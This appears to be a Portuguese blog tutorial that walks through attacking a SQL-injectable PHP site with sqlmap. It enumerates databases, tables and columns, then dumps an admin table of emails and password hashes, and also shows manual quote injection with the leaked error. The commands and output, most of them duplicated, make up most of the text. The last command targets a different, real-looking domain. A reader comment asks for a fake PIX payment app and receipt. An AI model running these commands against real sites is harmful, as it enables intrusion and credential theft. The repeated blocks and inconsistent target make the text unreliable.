Vamos a algumas definições do que é SQL Injection e do SQLMAP.
SQL Injection é uma técnica de invasão que utiliza código SQL, após confirmada a vulnerabilidade o cracker ou hacker pode manipular os dados via banco de dados relacional. Através de uma simples vulnerabilidade, você pode estar fornecendo todos os dados da sua empresa na web.
SQLMAP é uma ferramenta de injeção SQL desenvolvida em Python, com ele podemos detectar e explorar vulnerabilidades de SQL Injection em aplicações ou sites web. Após detectar uma vulnerabilidade o invasor tem diversas opções de ataque utilizando o SQLMAP, com ele podemos realizar invasões nos seguintes SGBD’s: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB e Informix . Pode ser instalado tanto em sistemas operacionais Windows quanto Linux.
SQL Injection é uma técnica de invasão que utiliza código SQL, após confirmada a vulnerabilidade o cracker ou hacker pode manipular os dados via banco de dados relacional. Através de uma simples vulnerabilidade, você pode estar fornecendo todos os dados da sua empresa na web.
SQLMAP é uma ferramenta de injeção SQL desenvolvida em Python, com ele podemos detectar e explorar vulnerabilidades de SQL Injection em aplicações ou sites web. Após detectar uma vulnerabilidade o invasor tem diversas opções de ataque utilizando o SQLMAP, com ele podemos realizar invasões nos seguintes SGBD’s: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB, HSQLDB e Informix . Pode ser instalado tanto em sistemas operacionais Windows quanto Linux.
Existem diversas formas de encontrarmos vulnerabilidades em sites, não estarei dando detalhes de como ou o que utilizar pois este artigo visa somente ataques a bancos de dados que é nosso tema central no blog. Então, após encontrar um site vulnerável e já tendo instalado o SQLMAP vamos iniciar nosso ataque.
Comando:
sqlmap -u http://www.meusite.com.br/quemsomos.php?cat=2 --dbs
Resultado esperado:
[09:57:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5.0
[09:57:51] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] dbaacademy
[09:57:51] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5.0
[09:57:51] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] dbaacademy
Como podemos ver acima logo no primeiro passo já conseguimos encontrar a informação de qual serviço de banco de dados está rodando no back-end do site e quais bancos temos disponíveis para explorar, neste caso o MySQL e nele contém dois bancos de dados, o information_schema e o dbaacademy.
No comando acima utilizamos os parâmetros -u que indica a URL e –dbs que verifica qual serviço de banco de dados esta rodando por trás da aplicação, mas para saber o serviço de banco de dados que esta executando por trás da aplicação também podemos utilizar uma artimanha muito simples, utilizando o mesmo site vulnerável, estarei passando uma informação para a URL e ela tentará utilizar esse valor no banco de dados, não contendo a informação ele me dará um erro de sintaxe.
Como podemos ver acima logo no primeiro passo já conseguimos encontrar a informação de qual serviço de banco de dados está rodando no back-end do site e quais bancos temos disponíveis para explorar, neste caso o MySQL e nele contém dois bancos de dados, o information_schema e o dbaacademy.
No comando acima utilizamos os parâmetros -u que indica a URL e –dbs que verifica qual serviço de banco de dados esta rodando por trás da aplicação, mas para saber o serviço de banco de dados que esta executando por trás da aplicação também podemos utilizar uma artimanha muito simples, utilizando o mesmo site vulnerável, estarei passando uma informação para a URL e ela tentará utilizar esse valor no banco de dados, não contendo a informação ele me dará um erro de sintaxe.
URL vulnerável:
http://www.meusite.com.br/quemsomos.php?cat=2
Passando ‘ no lugar do valor 2:
http://www.meusite.com.br/quemsomos.php?cat=’
Retorno:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” AND status =1 AND salao<>1′ at line 1
Query: SELECT * FROM tbl_quemsomos WHERE id_categorias=’ AND status =1 AND salao<>1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” AND status =1 AND salao<>1′ at line 1
Query: SELECT * FROM tbl_quemsomos WHERE id_categorias=’ AND status =1 AND salao<>1
Logo, com este retorno já temos informações importantes disponíveis para um invasor, sabemos que está rodando no back-end um banco de dados MySQL, e que temos uma tabela chamada tbl_quemsomos, com as colunas id_categora e status. Portanto veja se seu site não contém nenhuma dessas vulnerabilidades.
Voltando a demonstração de utilização do SQLMAP agora que já temos o nome das bases de dados vamos descobrir quais tabelas temos no banco de dados dbaacademy, utilizando então o parâmetro –table.
Logo, com este retorno já temos informações importantes disponíveis para um invasor, sabemos que está rodando no back-end um banco de dados MySQL, e que temos uma tabela chamada tbl_quemsomos, com as colunas id_categora e status. Portanto veja se seu site não contém nenhuma dessas vulnerabilidades.
Voltando a demonstração de utilização do SQLMAP agora que já temos o nome das bases de dados vamos descobrir quais tabelas temos no banco de dados dbaacademy, utilizando então o parâmetro –table.
Comando:
sqlmap -u http://www.meusite.com.br/quemsomos.php?cat=2 -D dbaacademy --table
Retorno:
[10:00:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5.0
[10:00:22] [INFO] fetching tables for database: 'dbaacademy'
[10:00:22] [WARNING] reflective value(s) found and filtering out
Database: dbaacademy
[8 tables]
+----------------+
| tbl_admin |
| tbl_blog |
| tbl_quemsomos |
| tbl_carrousel2 |
| tbl_categorias |
| tbl_geral |
| tbl_msg |
| tbl_sugestao |
+----------------+
[10:00:22] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5.0
[10:00:22] [INFO] fetching tables for database: 'dbaacademy'
[10:00:22] [WARNING] reflective value(s) found and filtering out
Database: dbaacademy
[8 tables]
+----------------+
| tbl_admin |
| tbl_blog |
| tbl_quemsomos |
| tbl_carrousel2 |
| tbl_categorias |
| tbl_geral |
| tbl_msg |
| tbl_sugestao |
+----------------+
Agora que temos as colunas do banco de dados vamos buscar as contas e senhas, assim podemos nos conectar via site em acesso com administrativo e etc. Para isso vou atacar a tabela tbl_admin e tentar ter acesso as colunas desta tabela e depois de ter o nome das colunas desta tabela vamos tentar ter acesso aos dados ainda utilizando o SQLMAP.
Comando:
sqlmap -u http://www.meusite.com.br/quemsomos.php?cat=2 -D dbaacademy -T tbl_admin --columns
Retorno:
[10:00:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5.0
[10:00:37] [INFO] fetching columns for table 'tbl_admin' in database 'dbaacademy'
[10:00:37] [WARNING] reflective value(s) found and filtering out
Database: dbaacademy
Table: tbl_admin
[5 columns]
+-------------+--------------+
| Column | Type |
+-------------+--------------+
| email_admin | varchar(255) |
| id_admin | int(11) |
| nome_admin | varchar(255) |
| senha_admin | varchar(255) |
| tipo_admin | char(1) |
+-------------+--------------+
[10:00:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18
back-end DBMS: MySQL 5.0
[10:00:37] [INFO] fetching columns for table 'tbl_admin' in database 'dbaacademy'
[10:00:37] [WARNING] reflective value(s) found and filtering out
Database: dbaacademy
Table: tbl_admin
[5 columns]
+-------------+--------------+
| Column | Type |
+-------------+--------------+
| email_admin | varchar(255) |
| id_admin | int(11) |
| nome_admin | varchar(255) |
| senha_admin | varchar(255) |
| tipo_admin | char(1) |
+-------------+--------------+
Já temos acesso a quase tudo do site / aplicação vulnerável agora por último vou demonstrar somente como ter acesso os dados da tabela tbl_admin.
Comando:
sqlmap -u http://www.insalata.com.br/cardapio.php?cat=2 -D insalata -T tbl_admin -C email_admin,nome_admin,senha_admin --dump
Atacando…
Retorno:
Database: dbaacademy
Table: tbl_admin
[5 entries]
+---------------------------+----------------+----------------------------------+
| email_admin | nome_admin | senha_admin |
+---------------------------+----------------+----------------------------------+
| thiago@dbaacademy.com | Thiago | 101d3a694e6cd41e2a5f818c8679032b |
| fabio@dbaacademy.com | Fabio | eca75a97bcf31ed4bdb625aa18b51cf8 |
| jefferson@dbaacademy.com | Jefferson | e62b136921a82955f60f495da90c1952 |
| erica@dbaacademy.com | Erica | 2eafc50b68aa3f0934ce579c06fec76b |
| mariana@dbaacademy.com | Mariana | 23b6a3bfcb2426f8b58a57375893769c |
+---------------------------+----------------+----------------------------------+
Database: dbaacademy
Table: tbl_admin
[5 entries]
+---------------------------+----------------+----------------------------------+
| email_admin | nome_admin | senha_admin |
+---------------------------+----------------+----------------------------------+
| thiago@dbaacademy.com | Thiago | 101d3a694e6cd41e2a5f818c8679032b |
| fabio@dbaacademy.com | Fabio | eca75a97bcf31ed4bdb625aa18b51cf8 |
| jefferson@dbaacademy.com | Jefferson | e62b136921a82955f60f495da90c1952 |
| erica@dbaacademy.com | Erica | 2eafc50b68aa3f0934ce579c06fec76b |
| mariana@dbaacademy.com | Mariana | 23b6a3bfcb2426f8b58a57375893769c |
+---------------------------+----------------+----------------------------------+
TAMANHO: 5~20MB
TAMANHO: 5~20MB
Aparece a seguinte mensagem:
ResponderExcluir"The program sqlmap is not installed. Install it by executing:
pkg install sqlmap, after running pkg in unstable-repo"
Aí eu coloco "pkg install sqlmap" aparece o seguinte:
hecking availability of current mirror: ok
Reading package lists... Done Building dependency tree... Done
E: Unable to locate package sqlmap
Oq eu faço?
tenta: pip install sqlmap
Excluirtrás um apk de pix fake, comprovante e pá!!
ResponderExcluirPostar um comentário